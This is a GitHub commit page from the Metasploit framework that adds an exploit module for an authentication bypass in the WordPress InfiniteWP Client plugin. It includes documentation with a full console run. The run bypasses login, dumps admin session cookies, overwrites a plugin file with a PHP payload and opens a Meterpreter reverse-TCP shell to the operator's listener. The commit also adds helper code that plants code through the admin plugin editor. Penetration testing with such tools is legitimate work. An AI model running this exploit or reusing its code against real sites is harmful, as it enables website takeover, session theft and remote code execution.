Skip to content
Permalink
Browse files

Land #12853, InfiniteWP exploit & mixin upgrades

  • Loading branch information
adamgalway-r7 committed Feb 10, 2020
2 parents 44030bd + eab1245 commit 65521270ea2021b23d3e5509d0339be20f587c90
@@ -0,0 +1,118 @@
## Vulnerable Application

### Description

This module exploits an authentication bypass in the WordPress
InfiniteWP Client plugin to log in as an administrator and execute
arbitrary PHP code by overwriting the file specified by `PLUGIN_FILE`.

The module will attempt to retrieve the original `PLUGIN_FILE` contents
and restore them after payload execution. If `VerifyContents` is set,
which is the default setting, the module will check to see if the
restored contents match the original.

Note that a valid administrator username is required for this module.

WordPress >= 4.9 is currently not supported due to a breaking WordPress
API change. Tested against 4.8.3.

### Setup

1. Install WordPress 4.8.3 or older
2. Download <https://downloads.wordpress.org/plugin/iwp-client.1.9.4.4.zip>
3. Follow <https://wordpress.org/plugins/iwp-client/#installation>

### Targets

```
Id Name
-- ----
0 InfiniteWP Client < 1.9.4.5
```

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Options

**USERNAME**

Set this to a known, valid administrator username. Authentication will
be bypassed for this user.

**PLUGIN_FILE**

Set this to a plugin file to insert the payload into, relative to the
plugins directory, which is normally `/wp-content/plugins`. The file
must exist and be writable by the web user. It will be overwritten and
later restored.

**VerifyContents**

Verify that the restored contents of `PLUGIN_FILE` match the original.
This is the default setting.

## Scenarios

### InfiniteWP Client 1.9.4.4 on WordPress 4.8.3

```
msf5 > use exploit/unix/webapp/wp_infinitewp_auth_bypass
msf5 exploit(unix/webapp/wp_infinitewp_auth_bypass) > show missing
Module options (exploit/unix/webapp/wp_infinitewp_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
msf5 exploit(unix/webapp/wp_infinitewp_auth_bypass) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(unix/webapp/wp_infinitewp_auth_bypass) > set rport 8000
rport => 8000
msf5 exploit(unix/webapp/wp_infinitewp_auth_bypass) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf5 exploit(unix/webapp/wp_infinitewp_auth_bypass) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] WordPress 4.8.3 is a supported target
[*] Found version 1.9.4.4 in the custom file
[+] The target appears to be vulnerable.
[*] Bypassing auth for admin at http://127.0.0.1:8000/
[+] Successfully obtained cookie for admin
[*] Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1581271885%7CgtWIC1eZeuTo2twb615tUCpB4LEUzucWE5qaBl5dgDg%7C3f03c999c52281e3da48bef702b8c8780c3f041b2bba9f222f5d9756cbb18541; wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1581271885%7CgtWIC1eZeuTo2twb615tUCpB4LEUzucWE5qaBl5dgDg%7C3f03c999c52281e3da48bef702b8c8780c3f041b2bba9f222f5d9756cbb18541; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1581271885%7CgtWIC1eZeuTo2twb615tUCpB4LEUzucWE5qaBl5dgDg%7Ca0f3f416f7c60a7e0ea1b17af88d4a5e38d96141451f94fe27f605806f03f0c2; wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1581271885%7CsVlsTRrZ8s8PgSudfIbMXr16rVrlnVz28mENB1jRSOP%7C5ed6dd8146701a38b741bf98cde81cc2b67736b88ea80a10ceba8cf5326b949e; wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1581271885%7CsVlsTRrZ8s8PgSudfIbMXr16rVrlnVz28mENB1jRSOP%7C5ed6dd8146701a38b741bf98cde81cc2b67736b88ea80a10ceba8cf5326b949e; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1581271885%7CsVlsTRrZ8s8PgSudfIbMXr16rVrlnVz28mENB1jRSOP%7Cfeffe683bdfaaa670102e6564130394440510bf97e1ad09713ef1c3aa5627bfc;
[+] Successfully logged in as admin
[*] Retrieving original contents of /wp-content/plugins/index.php
[+] Successfully retrieved original contents of /wp-content/plugins/index.php
[*] Contents:
<?php
// Silence is golden.
[*] Overwriting /wp-content/plugins/index.php with payload
[*] Acquired a plugin edit nonce: 74cde501ca
[*] Edited plugin file index.php
[+] Successfully overwrote /wp-content/plugins/index.php with payload
[*] Requesting payload at /wp-content/plugins/index.php
[*] Restoring original contents of /wp-content/plugins/index.php
[*] Sending stage (38288 bytes) to 192.168.56.1
[*] Acquired a plugin edit nonce: 74cde501ca
[*] Edited plugin file index.php
[+] Current contents of /wp-content/plugins/index.php match original!
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.1:51923) at 2020-02-07 12:11:28 -0600
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : c7f8fbe7b083
OS : Linux c7f8fbe7b083 4.19.76-linuxkit #1 SMP Thu Oct 17 19:31:58 UTC 2019 x86_64
Meterpreter : php/linux
meterpreter >
```
@@ -0,0 +1,46 @@
# -*- coding: binary -*-

#
# XXX: This is a VERY ROUGH mixin for automatic check (formerly ForceExploit)
#

module Msf
module Exploit::Remote::AutoCheck

def initialize(info = {})
super

register_advanced_options([
OptBool.new('AutoCheck', [false, 'Run check before exploitation', true])
])
end

def exploit
unless datastore['AutoCheck']
print_warning('AutoCheck is disabled. Proceeding with exploitation.')
return
end

print_status('Executing automatic check (disable AutoCheck to override)')

checkcode = check

checkcode_error = checkcode.message + '. Disable AutoCheck to override.'

# This isn't even my final form!
case checkcode
when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears
print_good(checkcode.message)
when Exploit::CheckCode::Detected
print_warning(checkcode.message)
when Exploit::CheckCode::Safe
fail_with(Module::Failure::NotVulnerable, checkcode_error)
when Exploit::CheckCode::Unsupported
fail_with(Module::Failure::BadConfig, checkcode_error)
else
fail_with(Module::Failure::Unknown, checkcode_error)
end
end

end
end
@@ -40,4 +40,54 @@ def wordpress_upload_plugin(name, zip, cookie)
return false
end
end

# Edits a plugin file (relative to plugins dir) using a valid admin session.
#
# @param file [String] The plugin file to edit (relative to plugins dir)
# @param contents [String] The plugin file contents to overwrite with
# @param cookie [String] A valid admin session cookie
# @return [Boolean] true on success, false on error
def wordpress_edit_plugin(file, contents, cookie)
unless (nonce = wordpress_helper_get_plugin_edit_nonce(cookie, file))
vprint_error('Failed to acquire the plugin edit nonce')
return false
end

vprint_status("Acquired a plugin edit nonce: #{nonce}")

# https://github.com/WordPress/WordPress/blob/master/wp-admin/plugin-editor.php
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_plugin_editor,
'cookie' => cookie,
'vars_post' => {
'action' => 'update',
'_wpnonce' => nonce,
'file' => file,
'newcontent' => contents
}
)

unless res && res.redirect?
vprint_error("Server responded with code #{res.code}") if res
vprint_error("Failed to edit plugin file #{file}")
return false
end

# NOTE: send_request_cgi! doesn't change the method
res = send_request_cgi(
'method' => 'GET',
'uri' => res.redirection.to_s,
'cookie' => cookie
)

unless res && res.code == 200 && res.body.include?('edited successfully')
vprint_error("Server responded with code #{res.code}") if res
vprint_error("Failed to edit plugin file #{file}")
return false
end

vprint_status("Edited plugin file #{file}")
true
end
end
@@ -139,13 +139,13 @@ def wordpress_helper_parse_location_header(res)
#
# @param cookie [String] A valid admin session cookie
# @return [String,nil] The nonce, nil on error
def wordpress_helper_get_plugin_upload_nonce(cookie, path = nil)
def wordpress_helper_get_plugin_upload_nonce(cookie, path = nil, vars_get = nil)
uri = path || normalize_uri(wordpress_url_backend, 'plugin-install.php')
options = {
'method' => 'GET',
'uri' => uri,
'cookie' => cookie,
'vars_get' => { 'tab' => 'upload' }
'vars_get' => vars_get || { 'tab' => 'upload' }
}
res = send_request_cgi(options)
if res && res.code == 200
@@ -155,4 +155,40 @@ def wordpress_helper_get_plugin_upload_nonce(cookie, path = nil)
return wordpress_helper_get_plugin_upload_nonce(cookie, path)
end
end

# Helper method to retrieve a valid plugin edit nonce.
#
# @param cookie [String] A valid admin session cookie
# @param file [String] The plugin file to edit (relative to plugins dir)
# @return [String,nil] The nonce, nil on error
def wordpress_helper_get_plugin_edit_nonce(cookie, file)
wordpress_helper_get_plugin_upload_nonce(
cookie,
normalize_uri(wordpress_url_backend, 'plugin-editor.php'),
'file' => file
)
end

# Helper method to retrieve plugin file contents.
#
# @param cookie [String] A valid admin session cookie
# @param file [String] The plugin file to retrieve (relative to plugins dir)
# @return [String,nil] The contents, nil on error
def wordpress_helper_get_plugin_file_contents(cookie, file)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_backend, 'plugin-editor.php'),
'cookie' => cookie,
'vars_get' => {'file' => file}
)

return unless res && res.code == 200

contents = res.get_html_document.at('//textarea[@name = "newcontent"]')

return unless contents

contents.text
end

end
@@ -94,6 +94,13 @@ def wordpress_url_admin_update
normalize_uri(wordpress_url_backend, 'update.php')
end

# Returns the Wordpress Admin Plugin Editor URL
#
# @return [String] Wordpress Admin Plugin Editor URL
def wordpress_url_admin_plugin_editor
normalize_uri(wordpress_url_backend, 'plugin-editor.php')
end

# Returns the Wordpress wp-content dir URL
#
# @return [String] Wordpress wp-content dir URL
@@ -183,7 +183,7 @@ def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_i
return Msf::Exploit::CheckCode::Detected("Could not identify the version number")
end

vprint_status("Found version #{version} of the #{item_type}")
vprint_status("Found version #{version} in the #{item_type}")

if fixed_version.nil?
if vuln_introduced_version.nil?
@@ -4,6 +4,7 @@
#

# Behavior
require 'msf/core/exploit/auto_check'
require 'msf/core/exploit/check_module'
require 'msf/core/exploit/brute'
require 'msf/core/exploit/brutetargets'

0 comments on commit 6552127

Please sign in to comment.
You can’t perform that action at this time.